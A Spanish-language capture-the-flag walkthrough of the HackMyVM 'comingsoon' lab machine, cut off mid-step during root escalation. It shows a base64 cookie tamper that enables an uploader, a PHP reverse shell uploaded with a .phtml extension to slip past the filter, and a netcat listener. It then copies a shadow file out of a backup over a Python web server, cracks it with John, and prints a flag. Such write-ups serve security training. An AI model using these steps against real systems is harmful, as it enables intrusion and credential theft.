Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 02:57 EDT
Nmap scan report for 192.168.5.18
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 bc:fb:ec:b8:93:d4:e2:78:76:eb:1b:dc:4b:a7:7f:9b (RSA)
| 256 31:41:a0:d7:e9:3c:79:11:c2:f0:81:a0:fe:2d:f9:b0 (ECDSA)
|_ 256 c9:34:17:00:31:75:4d:c0:3a:a5:b1:16:36:0d:bb:18 (ED25519)
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-title: Bolt - Coming Soon Template
|_http-server-header: Apache/2.4.51 (Debian)
MAC Address: 08:00:27:71:32:88 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds
Veremos un puerto 80 en el que tiene alojado una pagina web, si entramos a dicha pagina web veremos que hay un contador de que la pagina se estrenara en 15 dias, por lo que vamos a realizar un poco de fuzzing a ver que encontramos.
Vemos varias cosas interesante, vamos a ver que contiene notes.txt y license.txt.
notes.txt
Dave,
Last few jobs to do...
Set ssh to use keys only (passphrase same as the password)
Just need to sort the images out:
resize and scp them or using the built-in image uploader.
Test the backups and delete anything not needed.
Apply an https certificate.
Cheers,
Webdev
license.txt
Thanks for using the free version of Bolt. Please, consider purchasing the full version of Bolt to Enjoy All Features and Freedom to Use in Commercial Projects.
LIMITATIONS OF FREE VERSION:
1. Commercial Use - Not Allowed
2. Removing Footer Credit - Not Allowed
3. All Features - Not Available
4. Documentation and Support - Not Provided
5. Royalty Free Images - Not Provided
To purchase commercial license please visit: https://uideck.com/products/bolt-free-coming-soon-template/ and choose commercial license.
Best regards
No veremos gran informacion, pero si entendemos que por detras la pagina tiene que tener un mecanismo de subir imagenes, ya que en notes.txt comentan que hay algo para subir imagenes, por lo que vamos a seguir investigando.
Vamos abrir BurpSuite y vamos a ver que esta sucediendo a nivel de peticion todo lo de la pagina principal.
Una vez que estemos a la escucha con BurpSuite y recarguemos la pagina principal, habremos capturado una peticion asi:
GET / HTTP/1.1
Host: 192.168.5.18
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: RW5hYmxlVXBsb2FkZXIK=ZmFsc2UK
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Veremos una cosa interesante y es que tenemos establecida una Cookie que esta codificada, vamos a probar a decodificarla.
Si la decodificamos veremos false simplemente eso, vamos a inspeccionar la pagina y mirar que vemos en un comentario.
<!-- Upload images link if EnableUploader set -->
Vemos que si activamos algo se nos habilita algo para subir imagenes, si inspeccionamos la pagina y nos vamos a la seccion Storage de ahi a Cookies veremos lo siguiente:
Name Value
RW5hYmxlVXBsb2FkZXIK ZmFsc2UK
Vamos a decodificar todo esto:
Name Value
EnableUploader false
Vemos que se esta refiriendo a la Cookie por lo que vamos a modificarla de esta forma, vamos a codificar en Base64 la palabra true y veremos esto:
dHJ1ZQ==
Ahora en la seccion de Cookie vamos a modificar el Value y vamos a pegar ese fragmento modificado:
Con esto estableceremos en true dicha Cookie, ahora si le damos a ENTER y vemos la pagina veremos el siguiente boton.
Si le damos nos llevara a una seccion para poder subir un archivo, vamos a probar a subir un archivo .php con una reverse shell.
For security, .php files are allowed.Sorry, your file was not uploaded.
Vemos que lo esta securizando, por lo que vamos a probar extensiones de PHP pero para bypassearlo.
Vamos a probar con .phtml.
mv webshell.php webshell.phtml
Ahora vamos a probar a subirlo de nuevo a ver si nos deja.
Veremos que con esto si que nos dejara y nos llevara de forma automatica a /assets/img/ donde estara el archivo subido.
Antes de entrar en dicho archivo, vamos a ponernos a la escucha.
nc -lvnp <PORT>
Ahora si entramos en el archivo que esta subida a la web y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.18] 52218
whoami
www-data
Vemos que ha funcionado, por lo que sanitizaremos la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user scpuser
Si listamos la siguiente ruta veremos lo siguiente:
ls -la /var/backups/
Info:
total 2024
drwxr-xr-x 2 root root 4096 May 16 08:15 .
drwxr-xr-x 12 root root 4096 Dec 15 2021 ..
-rw-r--r-- 1 root root 30720 Dec 15 2021 alternatives.tar.0
-rw-r--r-- 1 root root 9128 Dec 15 2021 apt.extended_states.0
-rw-r--r-- 1 root root 990 Dec 15 2021 apt.extended_states.1.gz
-rw-r--r-- 1 root root 1541366 May 16 08:15 backup.tar.gz
-rw-r--r-- 1 root root 0 Dec 16 2021 dpkg.arch.0
-rw-r--r-- 1 root root 32 Dec 15 2021 dpkg.arch.1.gz
-rw-r--r-- 1 root root 186 Dec 15 2021 dpkg.diversions.0
-rw-r--r-- 1 root root 126 Dec 15 2021 dpkg.diversions.1.gz
-rw-r--r-- 1 root root 172 Dec 15 2021 dpkg.statoverride.0
-rw-r--r-- 1 root root 120 Dec 15 2021 dpkg.statoverride.1.gz
-rw-r--r-- 1 root root 354260 Dec 15 2021 dpkg.status.0
-rw-r--r-- 1 root root 90231 Dec 15 2021 dpkg.status.1.gz
Vemos cosas interesantes, pero entre ellas el siguiente archivo:
backup.tar.gz
Ese archivo no suele estar por defecto, por lo que vamos a copiarnoslo a la carpeta /tmp y vamos a descomprimirlo a ver que tiene.
cd /var/backups/
cp backup.tar.gz /tmp/
cd /tmp
tar -xvzf backup.tar.gz
Vemos que nos ha descomprimido la pagina web en si y despues en la carpeta /etc vemos cosas interesantes, dos archivos y uno de ellos es el shadow por lo que vamos a pasarnoslo a la maquina host mediante un servidor de python3.
cd /tmp/etc
python3 -m http.server
Ahora desde la maquina host nos lo descargaremos con wget.
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tigger (scpuser)
1g 0:00:00:22 0.04% (ETA: 17:55:44) 0.04494g/s 327.9p/s 332.2c/s 332.2C/s sheree..hotgurl
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
Veremos que ha funcionado, hemos encontrados las credenciales del usuario scpuser, por lo que vamos a escalar con dicho usuario.
su scpuser
Metemos como contraseña tigger y veremos que estaremos dentro, por lo que leeremos la flag del usuario.
user.txt
HMV{user:comingsoon.hmv:58842fc1a7}
Escalate Privileges
Vemos que en la /home del propio usuario hay un archivo bastante interesante llamado .oldpasswords si lo leemos veremos lo siguiente:
Previous root passwords just incase they are needed for a backup\restore
Incredibles2
Paddington2
BigHero6
101Dalmations
Vemos lo que parecen contraseñas basadas en titulos de peliculas con los numeros pegados sin espacios, si probamos todas las contraseñas con el usuario root veremos que no funcionara, por lo que vamos a buscar en internet la misma tematica de contraseñas buscando Las 100 mejores peliculas animadas y veremos lo siguiente:
Vamos a coger las 5 primeras y vamos a crear un diccionario de ello poniendo los 5 primeros numeros a cada uno de ellos sin espacios quedando algo asi: